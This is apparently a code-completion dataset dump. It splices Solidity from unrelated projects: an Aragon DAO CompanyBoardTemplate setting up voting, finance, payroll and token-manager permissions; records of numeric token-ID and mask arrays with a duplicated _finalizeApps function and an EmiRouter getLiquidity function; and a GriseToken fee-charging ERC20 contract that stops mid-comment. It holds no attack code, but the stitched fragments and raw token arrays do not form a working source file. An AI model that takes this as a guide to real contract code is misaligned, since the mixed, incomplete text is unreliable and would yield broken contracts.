_acl.createPermission(_employeeManager, _payroll, _payroll.ADD_REIMBURSEMENT_ROLE(), _permissionsManager);
_acl.createPermission(_employeeManager, _payroll, _payroll.TERMINATE_EMPLOYEE_ROLE(), _permissionsManager);
_acl.createPermission(_employeeManager, _payroll, _payroll.SET_EMPLOYEE_SALARY_ROLE(), _permissionsManager);
_acl.createPermission(_settingsManager, _payroll, _payroll.MODIFY_PRICE_FEED_ROLE(), _permissionsManager);
_acl.createPermission(_settingsManager, _payroll, _payroll.MODIFY_RATE_EXPIRY_ROLE(), _permissionsManager);
_acl.createPermission(_settingsManager, _payroll, _payroll.MANAGE_ALLOWED_TOKENS_ROLE(), _permissionsManager);
}
function _unwrapPayrollSettings(
uint256[4] memory _payrollSettings
)
internal pure returns (address denominationToken, IFeed priceFeed, uint64 rateExpiryTime, address employeeManager)
{
denominationToken = _toAddress(_payrollSettings[0]);
priceFeed = IFeed(_toAddress(_payrollSettings[1]));
rateExpiryTime = _payrollSettings[2].toUint64();
employeeManager = _toAddress(_payrollSettings[3]);
}
/* FINANCE */
function _installFinanceApp(Kernel _dao, Vault _vault, uint64 _periodDuration) internal returns (Finance) {
bytes memory initializeData = abi.encodeWithSelector(Finance(0).initialize.selector, _vault, _periodDuration);
return Finance(_installNonDefaultApp(_dao, FINANCE_APP_ID, initializeData));
}
function _createFinancePermissions(ACL _acl, Finance _finance, address _grantee, address _manager) internal {
_acl.createPermission(_grantee, _finance, _finance.EXECUTE_PAYMENTS_ROLE(), _manager);
_acl.createPermission(_grantee, _finance, _finance.MANAGE_PAYMENTS_ROLE(), _manager);
}
function _createFinanceCreatePaymentsPermission(ACL _acl, Finance _finance, address _grantee, address _manager) internal {
_acl.createPermission(_grantee, _finance, _finance.CREATE_PAYMENTS_ROLE(), _manager);
}
function _grantCreatePaymentPermission(ACL _acl, Finance _finance, address _to) internal {
_acl.grantPermission(_to, _finance, _finance.CREATE_PAYMENTS_ROLE());
}
function _transferCreatePaymentManagerFromTemplate(ACL _acl, Finance _finance, address _manager) internal {
_acl.setPermissionManager(_manager, _finance, _finance.CREATE_PAYMENTS_ROLE());
}
/* TOKEN MANAGER */
function _installTokenManagerApp(
Kernel _dao,
MiniMeToken _token,
bool _transferable,
uint256 _maxAccountTokens
)
internal returns (TokenManager)
{
TokenManager tokenManager = TokenManager(_installNonDefaultApp(_dao, TOKEN_MANAGER_APP_ID));
_token.changeController(tokenManager);
tokenManager.initialize(_token, _transferable, _maxAccountTokens);
return tokenManager;
}
function _createTokenManagerPermissions(ACL _acl, TokenManager _tokenManager, address _grantee, address _manager) internal {
_acl.createPermission(_grantee, _tokenManager, _tokenManager.MINT_ROLE(), _manager);
_acl.createPermission(_grantee, _tokenManager, _tokenManager.BURN_ROLE(), _manager);
}
function _mintTokens(ACL _acl, TokenManager _tokenManager, address[] memory _holders, uint256[] memory _stakes) internal {
_createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
for (uint256 i = 0; i < _holders.length; i++) {
_tokenManager.mint(_holders[i], _stakes[i]);
}
_removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
}
function _mintTokens(ACL _acl, TokenManager _tokenManager, address[] memory _holders, uint256 _stake) internal {
_createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
for (uint256 i = 0; i < _holders.length; i++) {
_tokenManager.mint(_holders[i], _stake);
}
_removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
}
function _mintTokens(ACL _acl, TokenManager _tokenManager, address _holder, uint256 _stake) internal {
_createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
_tokenManager.mint(_holder, _stake);
_removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
}
/* EVM SCRIPTS */
function _createEvmScriptsRegistryPermissions(ACL _acl, address _grantee, address _manager) internal {
EVMScriptRegistry registry = EVMScriptRegistry(_acl.getEVMScriptRegistry());
_acl.createPermission(_grantee, registry, registry.REGISTRY_MANAGER_ROLE(), _manager);
_acl.createPermission(_grantee, registry, registry.REGISTRY_ADD_EXECUTOR_ROLE(), _manager);
}
/* APPS */
function _installNonDefaultApp(Kernel _dao, bytes32 _appId) internal returns (address) {
return _installNonDefaultApp(_dao, _appId, new bytes(0));
}
function _installNonDefaultApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData) internal returns (address) {
return _installApp(_dao, _appId, _initializeData, false);
}
function _installDefaultApp(Kernel _dao, bytes32 _appId) internal returns (address) {
return _installDefaultApp(_dao, _appId, new bytes(0));
}
function _installDefaultApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData) internal returns (address) {
return _installApp(_dao, _appId, _initializeData, true);
}
function _installApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData, bool _setDefault) internal returns (address) {
address latestBaseAppAddress = _latestVersionAppBase(_appId);
address instance = address(_dao.newAppInstance(_appId, latestBaseAppAddress, _initializeData, _setDefault));
emit InstalledApp(instance, _appId);
return instance;
}
function _latestVersionAppBase(bytes32 _appId) internal view returns (address base) {
Repo repo = Repo(PublicResolver(ens.resolver(_appId)).addr(_appId));
(,base,) = repo.getLatest();
}
/* TOKEN */
function _createToken(string memory _name, string memory _symbol, uint8 _decimals) internal returns (MiniMeToken) {
require(address(miniMeFactory) != address(0), ERROR_MINIME_FACTORY_NOT_PROVIDED);
MiniMeToken token = miniMeFactory.createCloneToken(MiniMeToken(address(0)), 0, _name, _decimals, _symbol, true);
emit DeployToken(address(token));
return token;
}
function _ensureMiniMeFactoryIsValid(address _miniMeFactory) internal view {
require(isContract(address(_miniMeFactory)), ERROR_MINIME_FACTORY_NOT_CONTRACT);
}
/* IDS */
function _validateId(string memory _id) internal pure {
require(bytes(_id).length > 0, ERROR_INVALID_ID);
}
function _registerID(string memory _name, address _owner) internal {
require(address(aragonID) != address(0), ERROR_ARAGON_ID_NOT_PROVIDED);
aragonID.register(keccak256(abi.encodePacked(_name)), _owner);
}
function _ensureAragonIdIsValid(address _aragonID) internal view {
require(isContract(address(_aragonID)), ERROR_ARAGON_ID_NOT_CONTRACT);
}
/* HELPERS */
function _toAddress(uint256 _value) private pure returns (address) {
require(_value <= uint160(-1), ERROR_CANNOT_CAST_VALUE_TO_ADDRESS);
return address(_value);
}
}
// File: contracts/CompanyBoardTemplate.sol
pragma solidity 0.4.24;
contract CompanyBoardTemplate is BaseTemplate {
string constant private ERROR_MISSING_CACHE = "COMPANYBD_MISSING_CACHE";
string constant private ERROR_MISSING_BOARD_MEMBERS = "COMPANYBD_MISSING_BOARD_MEMBERS";
string constant private ERROR_MISSING_SHARE_MEMBERS = "COMPANYBD_MISSING_SHARE_MEMBERS";
string constant private ERROR_BAD_HOLDERS_STAKES_LEN = "COMPANYBD_BAD_HOLDERS_STAKES_LEN";
string constant private ERROR_BAD_VOTE_SETTINGS = "COMPANYBD_BAD_VOTE_SETTINGS";
string constant private ERROR_BAD_PAYROLL_SETTINGS = "COMPANYBD_BAD_PAYROLL_SETTINGS";
bool constant private BOARD_TRANSFERABLE = false;
string constant private BOARD_TOKEN_NAME = "Board Token";
string constant private BOARD_TOKEN_SYMBOL = "BOARD";
uint8 constant private BOARD_TOKEN_DECIMALS = uint8(0);
uint256 constant private BOARD_MAX_PER_ACCOUNT = uint256(1);
bool constant private SHARE_TRANSFERABLE = true;
uint8 constant private SHARE_TOKEN_DECIMALS = uint8(18);
uint256 constant private SHARE_MAX_PER_ACCOUNT = uint256(0);
uint64 constant private DEFAULT_FINANCE_PERIOD = uint64(30 days);
struct Cache {
address dao;
address shareToken;
address boardToken;
address shareVoting;
address boardVoting;
}
mapping (address => Cache) internal cache;
constructor(DAOFactory _daoFactory, ENS _ens, MiniMeTokenFactory _miniMeFactory, IFIFSResolvingRegistrar _aragonID)
BaseTemplate(_daoFactory, _ens, _miniMeFactory, _aragonID)
public
{
_ensureAragonIdIsValid(_aragonID);
_ensureMiniMeFactoryIsValid(_miniMeFactory);
}
/**
* @dev Create an incomplete Company with Board DAO and cache it for later setup steps
* @param _shareTokenName String with the name for the token used by share holders in the organization
* @param _shareTokenSymbol String with the symbol for the token used by share holders in the organization
* @param _shareVotingSettings Array of [supportRequired, minAcceptanceQuorum, voteDuration] to set up the share voting app of the organization
* @param _boardVotingSettings Array of [supportRequired, minAcceptanceQuorum, voteDuration] to set up the board voting app of the organization
*/
function prepareInstance(
string _shareTokenName,
string _shareTokenSymbol,
uint64[3] _shareVotingSettings,
uint64[3] _boardVotingSettings
)
external
{
require(_boardVotingSettings.length == 3, ERROR_BAD_VOTE_SETTINGS);
require(_shareVotingSettings.length == 3, ERROR_BAD_VOTE_SETTINGS);
MiniMeToken shareToken = _createToken(_shareTokenName, _shareTokenSymbol, SHARE_TOKEN_DECIMALS);
MiniMeToken boardToken = _createToken(BOARD_TOKEN_NAME, BOARD_TOKEN_SYMBOL, BOARD_TOKEN_DECIMALS);
(Kernel dao, ACL acl) = _createDAO();
Voting shareVoting = _installVotingApp(dao, shareToken, _shareVotingSettings);
Voting boardVoting = _installVotingApp(dao, boardToken, _boardVotingSettings);
_createEvmScriptsRegistryPermissions(acl, shareVoting, shareVoting);
_cachePreparedDao(dao, shareToken, boardToken, shareVoting, boardVoting);
}
/**
* @dev Finalize a previously prepared DAO instance cached by the user
* @param _id String with the name for org, will assign `[id].aragonid.eth`
* @param _shareHolders Array of share holder addresses
* @param _shareStakes Array of token stakes for share holders (token has 18 decimals, multiply token amount `* 10^18`)
* @param _boardMembers Array of board member addresses (1 token will be minted for each board member)
* @param _financePeriod Initial duration for accounting periods, it can be set to zero in order to use the default of 30 days.
* @param _useAgentAsVault Boolean to tell whether to use an Agent app as a more advanced form of Vault app
*/
function finalizeInstance(
string _id,
address[] _shareHolders,
uint256[] _shareStakes,
address[] _boardMembers,
uint64 _financePeriod,
bool _useAgentAsVault
)
external
{
_validateId(_id);
_ensureFinalizationSettings(_shareHolders, _shareStakes, _boardMembers);
(Kernel dao, Voting shareVoting, Voting boardVoting) = _popDaoCache();
Finance finance = _setupVaultAndFinanceApps(dao, _financePeriod, _useAgentAsVault, shareVoting, boardVoting);
_finalizeApps(dao, _shareHolders, _shareStakes, _boardMembers, shareVoting, boardVoting);
_transferCreatePaymentManagerFromTemplate(ACL(dao.acl()), finance, shareVoting);
_transferRootPermissionsFromTemplateAndFinalizeDAO(dao, shareVoting);
_registerID(_id, address(dao));
}
/**
* @dev Finalize a previously prepared DAO instance cached by the user
* @param _id String with the name for org, will assign `[id].aragonid.eth`
* @param _shareHolders Array of share holder addresses
* @param _shareStakes Array of token stakes for share holders (token has 18 decimals, multiply token amount `* 10^18`)
* @param _boardMembers Array of board member addresses (1 token will be minted for each board member)
* @param _financePeriod Initial duration for accounting periods, it can be set to zero in order to use the default of 30 days.
* @param _useAgentAsVault Boolean to tell whether to use an Agent app as a more advanced form of Vault app
* @param _payrollSettings Array of [address denominationToken , IFeed priceFeed, uint64 rateExpiryTime, address employeeManager]
for the payroll app. The `employeeManager` can be set to `0x0` in order to use the board voting app as the employee manager.
*/
function finalizeInstance(
string _id,
address[] _shareHolders,
uint256[] _shareStakes,
address[] _boardMembers,
uint64 _financePeriod,
bool _useAgentAsVault,
uint256[4] _payrollSettings
)
external
{
_validateId(_id);
_ensureFinalizationSettings(_shareHolders, _shareStakes, _boardMembers);
require(_payrollSettings.length == 4, ERROR_BAD_PAYROLL_SETTINGS);
(Kernel dao, Voting shareVoting, Voting boardVoting) = _popDaoCache();
Finance finance = _setupVaultAndFinanceApps(dao, _financePeriod, _useAgentAsVault, shareVoting, boardVoting);
_setupPayrollApp(dao, finance, _payrollSettings, boardVoting);
_finalizeApps(dao, _shareHolders, _shareStakes, _boardMembers, shareVoting, boardVoting);
_transferCreatePaymentManagerFromTemplate(ACL(dao.acl()), finance, shareVoting);
_transferRootPermissionsFromTemplateAndFinalizeDAO(dao, shareVoting);
_registerID(_id, address(dao));
}
function _finalizeApps(
Kernel _dao,
address[] memory _shareHolders,
uint256[] memory _shareStakes,
address[] memory _boardMembers,
Voting _shareVoting,
Voting _boardVoting
)
internal
{
(MiniMeToken shareToken, MiniMeToken boardToken) = _popTokenCaches();
// Install
TokenManager shareTokenManager = _installTokenManagerApp(_dao, shareToken, SHARE_TRANSFERABLE, SHARE_MAX_PER_ACCOUNT);
TokenManager boardTokenManager = _installTokenManagerApp(_dao, boardToken, BOARD_TRANSFERABLE, BOARD_MAX_PER_ACCOUNT);
// Mint tokens
ACL acl = ACL(_dao.acl());
_mintTokens(acl, shareTokenManager, _shareHolders, _shareStakes);
_mintTokens(acl, boardTokenManager, _boardMembers, 1);
// Assign permissions for token managers
_createTokenManagerPermissions(acl, shareTokenManager, _shareVoting, _shareVoting);
_createTokenManagerPermissions(acl, boardTokenManager, _shareVoting, _shareVoting);
// Assign permissions for votings
_createVotingPermissions(acl, _shareVoting, _shareVoting, boardTokenManager, _shareVoting);
_createVotingPermissions(acl, _boardVoting, _shareVoting, boardTokenManager, _shareVoting);
}
function _setupVaultAndFinanceApps(
Kernel _dao,
uint64 _financePeriod,
bool _useAgentAsVault,
Voting _shareVoting,
Voting _boardVoting
)
internal
returns (Finance)
{
// Install
Vault agentOrVault = _useAgentAsVault ? _installDefaultAgentApp(_dao) : _installVaultApp(_dao);
Finance finance = _installFinanceApp(_dao, agentOrVault, _financePeriod == 0 ? DEFAULT_FINANCE_PERIOD : _financePeriod);
// Assign permissions
ACL acl = ACL(_dao.acl());
if (_useAgentAsVault) {
_createCustomAgentPermissions(acl, Agent(agentOrVault), _shareVoting, _boardVoting);
}
_createVaultPermissions(acl, agentOrVault, finance, _shareVoting);
_createFinancePermissions(acl, finance, _boardVoting, _shareVoting);
_createFinanceCreatePaymentsPermission(acl, finance, _boardVoting, address(this));
return finance;
}
function _setupPayrollApp(Kernel _dao, Finance _finance, uint256[4] memory _payrollSettings, Voting _boardVoting) internal {
(address denominationToken, IFeed priceFeed, uint64 rateExpiryTime, address employeeManager) = _unwrapPayrollSettings(_payrollSettings);
address manager = employeeManager == address(0) ? _boardVoting : employeeManager;
Payroll payroll = _installPayrollApp(_dao, _finance, denominationToken, priceFeed, rateExpiryTime);
ACL acl = ACL(_dao.acl());
_createPayrollPermissions(acl, payroll, manager, _boardVoting, _boardVoting);
_grantCreatePaymentPermission(acl, _finance, payroll);
}
function _createCustomAgentPermissions(ACL _acl, Agent _agent, Voting _shareVoting, Voting _boardVoting) internal {
_acl.createPermission(_boardVoting, _agent, _agent.EXECUTE_ROLE(), _shareVoting);
_acl.createPermission(_boardVoting, _agent, _agent.RUN_SCRIPT_ROLE(), _shareVoting);
}
function _cachePreparedDao(
Kernel _dao,
MiniMeToken _shareToken,
MiniMeToken _boardToken,
Voting _shareVoting,
Voting _boardVoting
)
internal
{
Cache storage c = cache[msg.sender];
c.dao = address(_dao);
c.shareToken = address(_shareToken);
c.boardToken = address(_boardToken);
c.shareVoting = address(_shareVoting);
c.boardVoting = address(_boardVoting);
}
function _popDaoCache() internal returns (Kernel dao, Voting shareVoting, Voting boardVoting) {
Cache storage c = cache[msg.sender];
require(c.dao != address(0) && c.shareVoting != address(0) && c.boardVoting != address(0), ERROR_MISSING_CACHE);
dao = Kernel(c.dao);
shareVoting = Voting(c.shareVoting);
boardVoting = Voting(c.boardVoting);
delete c.dao;
delete c.shareVoting;
delete c.boardVoting;
}
function _popTokenCaches() internal returns (MiniMeToken shareToken, MiniMeToken boardToken) {
Cache storage c = cache[msg.sender];
require(c.shareToken != address(0) && c.boardToken != address(0), ERROR_MISSING_CACHE);
shareToken = MiniMeToken(c.shareToken);
boardToken = MiniMeToken(c.boardToken);
delete c.shareToken;
delete c.boardToken;
}
function _ensureFinalizationSettings(
address[] memory _shareHolders,
uint256[] memory _shareStakes,
address[] memory _boardMembers
)
private
pure
{
require(_shareHolders.length > 0, ERROR_MISSING_SHARE_MEMBERS);
require(_shareHolders.length == _shareStakes.length, ERROR_BAD_HOLDERS_STAKES_LEN);
require(_boardMembers.length > 0, ERROR_MISSING_BOARD_MEMBERS);
}
}
|
Install Mint tokens Assign permissions for token managers Assign permissions for votings
|
function _finalizeApps(
Kernel _dao,
address[] memory _shareHolders,
uint256[] memory _shareStakes,
address[] memory _boardMembers,
Voting _shareVoting,
Voting _boardVoting
)
internal
{
(MiniMeToken shareToken, MiniMeToken boardToken) = _popTokenCaches();
TokenManager shareTokenManager = _installTokenManagerApp(_dao, shareToken, SHARE_TRANSFERABLE, SHARE_MAX_PER_ACCOUNT);
TokenManager boardTokenManager = _installTokenManagerApp(_dao, boardToken, BOARD_TRANSFERABLE, BOARD_MAX_PER_ACCOUNT);
ACL acl = ACL(_dao.acl());
_mintTokens(acl, shareTokenManager, _shareHolders, _shareStakes);
_mintTokens(acl, boardTokenManager, _boardMembers, 1);
_createTokenManagerPermissions(acl, shareTokenManager, _shareVoting, _shareVoting);
_createTokenManagerPermissions(acl, boardTokenManager, _shareVoting, _shareVoting);
_createVotingPermissions(acl, _shareVoting, _shareVoting, boardTokenManager, _shareVoting);
_createVotingPermissions(acl, _boardVoting, _shareVoting, boardTokenManager, _shareVoting);
}
| 996,560 |
[
1,
6410,
490,
474,
2430,
12093,
4371,
364,
1147,
21103,
12093,
4371,
364,
331,
352,
899,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
30343,
16339,
12,
203,
3639,
14556,
389,
2414,
83,
16,
203,
3639,
1758,
8526,
3778,
389,
14419,
27003,
16,
203,
3639,
2254,
5034,
8526,
3778,
389,
14419,
510,
3223,
16,
203,
3639,
1758,
8526,
3778,
389,
3752,
6918,
16,
203,
3639,
776,
17128,
389,
14419,
58,
17128,
16,
203,
3639,
776,
17128,
389,
3752,
58,
17128,
203,
565,
262,
203,
3639,
2713,
203,
565,
288,
203,
3639,
261,
2930,
77,
4667,
1345,
7433,
1345,
16,
27987,
4667,
1345,
11094,
1345,
13,
273,
389,
5120,
1345,
18755,
5621,
203,
203,
3639,
3155,
1318,
7433,
1345,
1318,
273,
389,
5425,
1345,
1318,
3371,
24899,
2414,
83,
16,
7433,
1345,
16,
6122,
9332,
67,
16596,
6553,
2782,
16,
6122,
9332,
67,
6694,
67,
3194,
67,
21690,
1769,
203,
3639,
3155,
1318,
11094,
1345,
1318,
273,
389,
5425,
1345,
1318,
3371,
24899,
2414,
83,
16,
11094,
1345,
16,
9784,
8085,
67,
16596,
6553,
2782,
16,
9784,
8085,
67,
6694,
67,
3194,
67,
21690,
1769,
203,
203,
3639,
10098,
7895,
273,
10098,
24899,
2414,
83,
18,
10150,
10663,
203,
3639,
389,
81,
474,
5157,
12,
10150,
16,
7433,
1345,
1318,
16,
389,
14419,
27003,
16,
389,
14419,
510,
3223,
1769,
203,
3639,
389,
81,
474,
5157,
12,
10150,
16,
11094,
1345,
1318,
16,
389,
3752,
6918,
16,
404,
1769,
203,
203,
3639,
389,
2640,
1345,
1318,
6521,
12,
10150,
16,
7433,
1345,
1318,
16,
389,
14419,
58,
17128,
16,
389,
14419,
58,
17128,
1769,
203,
3639,
389,
2640,
1345,
1318,
6521,
12,
10150,
16,
11094,
1345,
2
] |
./full_match/80001/0x0916C07AC981febB849e100631adFA38fBC33343/sources/contracts/EmiRouter.Full.sol
|
**** Liquidity ***** @param tokenA address of first token in pair @param tokenB address of second token in pair @return LP balance/
|
function getLiquidity(address tokenA, address tokenB)
external
view
returns (uint256)
{
return (
IERC20(
address(
IEmiswapRegistry(factory).pools(
IERC20(tokenA),
IERC20(tokenB)
)
)
)
.balanceOf(msg.sender)
);
}
| 5,630,179 |
[
1,
48,
18988,
24237,
282,
1147,
37,
1758,
434,
1122,
1147,
316,
3082,
225,
1147,
38,
1758,
434,
2205,
1147,
316,
3082,
327,
511,
52,
11013,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
9014,
18988,
24237,
12,
2867,
1147,
37,
16,
1758,
1147,
38,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
261,
203,
5411,
467,
654,
39,
3462,
12,
203,
7734,
1758,
12,
203,
10792,
467,
1514,
291,
91,
438,
4243,
12,
6848,
2934,
27663,
12,
203,
13491,
467,
654,
39,
3462,
12,
2316,
37,
3631,
203,
13491,
467,
654,
39,
3462,
12,
2316,
38,
13,
203,
10792,
262,
203,
7734,
262,
203,
5411,
262,
203,
7734,
263,
12296,
951,
12,
3576,
18,
15330,
13,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: --GRISE--
pragma solidity =0.7.6;
import "./Utils.sol";
contract GriseToken is Utils {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public LIQUIDITY_GATEKEEPER;
address public STAKE_GATEKEEPER;
address public VAULT_GATEKEEPER;
address private liquidtyGateKeeper;
address private stakeGateKeeper;
address private vaultGateKeeper;
/**
* @dev initial private
*/
string private _name;
string private _symbol;
uint8 private _decimal = 18;
/**
* @dev ๐ป Initial supply
*/
uint256 private _totalSupply = 0;
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
constructor (string memory tokenName, string memory tokenSymbol) {
_name = tokenName;
_symbol = tokenSymbol;
liquidtyGateKeeper = _msgSender();
stakeGateKeeper = _msgSender();
vaultGateKeeper = _msgSender();
}
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the decimals of the token.
*/
function decimals() external view returns (uint8) {
return _decimal;
}
/**
* @dev Returns the total supply of the token.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the token balance of specific address.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
)
external
returns (bool)
{
_transfer(
_msgSender(),
recipient,
amount
);
return true;
}
/**
* @dev Returns approved balance to be spent by another address
* by using transferFrom method
*/
function allowance(
address owner,
address spender
)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev Sets the token allowance to another spender
*/
function approve(
address spender,
uint256 amount
)
external
returns (bool)
{
_approve(
_msgSender(),
spender,
amount
);
return true;
}
/**
* @dev Allows to transfer tokens on senders behalf
* based on allowance approved for the executer
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
)
external
returns (bool)
{
_approve(sender,
_msgSender(), _allowances[sender][_msgSender()].sub(
amount
)
);
_transfer(
sender,
recipient,
amount
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* Emits a {Transfer} event.
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
)
internal
virtual
{
require(
sender != address(0x0)
);
require(
recipient != address(0x0)
);
uint256 stFee;
uint256 btFee;
uint256 teamReward;
uint256 currentGriseDay = _currentGriseDay();
if (staker[sender] == 0) {
stFee = _calculateSellTranscFee(amount);
sellTranscFee[currentGriseDay] =
sellTranscFee[currentGriseDay]
.add(stFee);
reservoirRewardPerShare[currentGriseDay] =
reservoirRewardPerShare[currentGriseDay]
.add(stFee.mul(TRANSC_RESERVOIR_REWARD)
.div(REWARD_PRECISION_RATE)
.div(mediumTermShares));
stakerRewardPerShare[currentGriseDay] =
stakerRewardPerShare[currentGriseDay]
.add(stFee.mul(TRANSC_STAKER_REWARD)
.div(REWARD_PRECISION_RATE)
.div(mediumTermShares));
tokenHolderReward[currentGriseDay] =
tokenHolderReward[currentGriseDay]
.add(stFee.mul(TRANSC_TOKEN_HOLDER_REWARD)
.div(REWARD_PRECISION_RATE));
teamReward = stFee.mul(TEAM_SELL_TRANSC_REWARD)
.div(REWARD_PRECISION_RATE);
}
btFee = _calculateBuyTranscFee(amount);
_balances[sender] =
_balances[sender].sub(amount);
_balances[recipient] =
_balances[recipient].add(amount.sub(btFee).sub(stFee));
teamReward += btFee.mul(TEAM_BUY_TRANS_REWARD)
.div(REWARD_PRECISION_RATE);
_balances[TEAM_ADDRESS] =
_balances[TEAM_ADDRESS].add(teamReward.mul(90).div(100));
_balances[DEVELOPER_ADDRESS] =
_balances[DEVELOPER_ADDRESS].add(teamReward.mul(10).div(100));
// Burn Transction fee
// We will mint token when user comes
// to claim transction fee reward.
_totalSupply =
_totalSupply.sub(stFee.add(btFee).sub(teamReward));
totalToken[currentGriseDay] = totalSupply().add(stakedToken);
emit Transfer(
sender,
recipient,
amount
);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(
address account,
uint256 amount
)
internal
virtual
{
require(
account != address(0x0)
);
_totalSupply =
_totalSupply.add(amount);
_balances[account] =
_balances[account].add(amount);
totalToken[currentGriseDay()] = totalSupply().add(stakedToken);
emit Transfer(
address(0x0),
account,
amount
);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
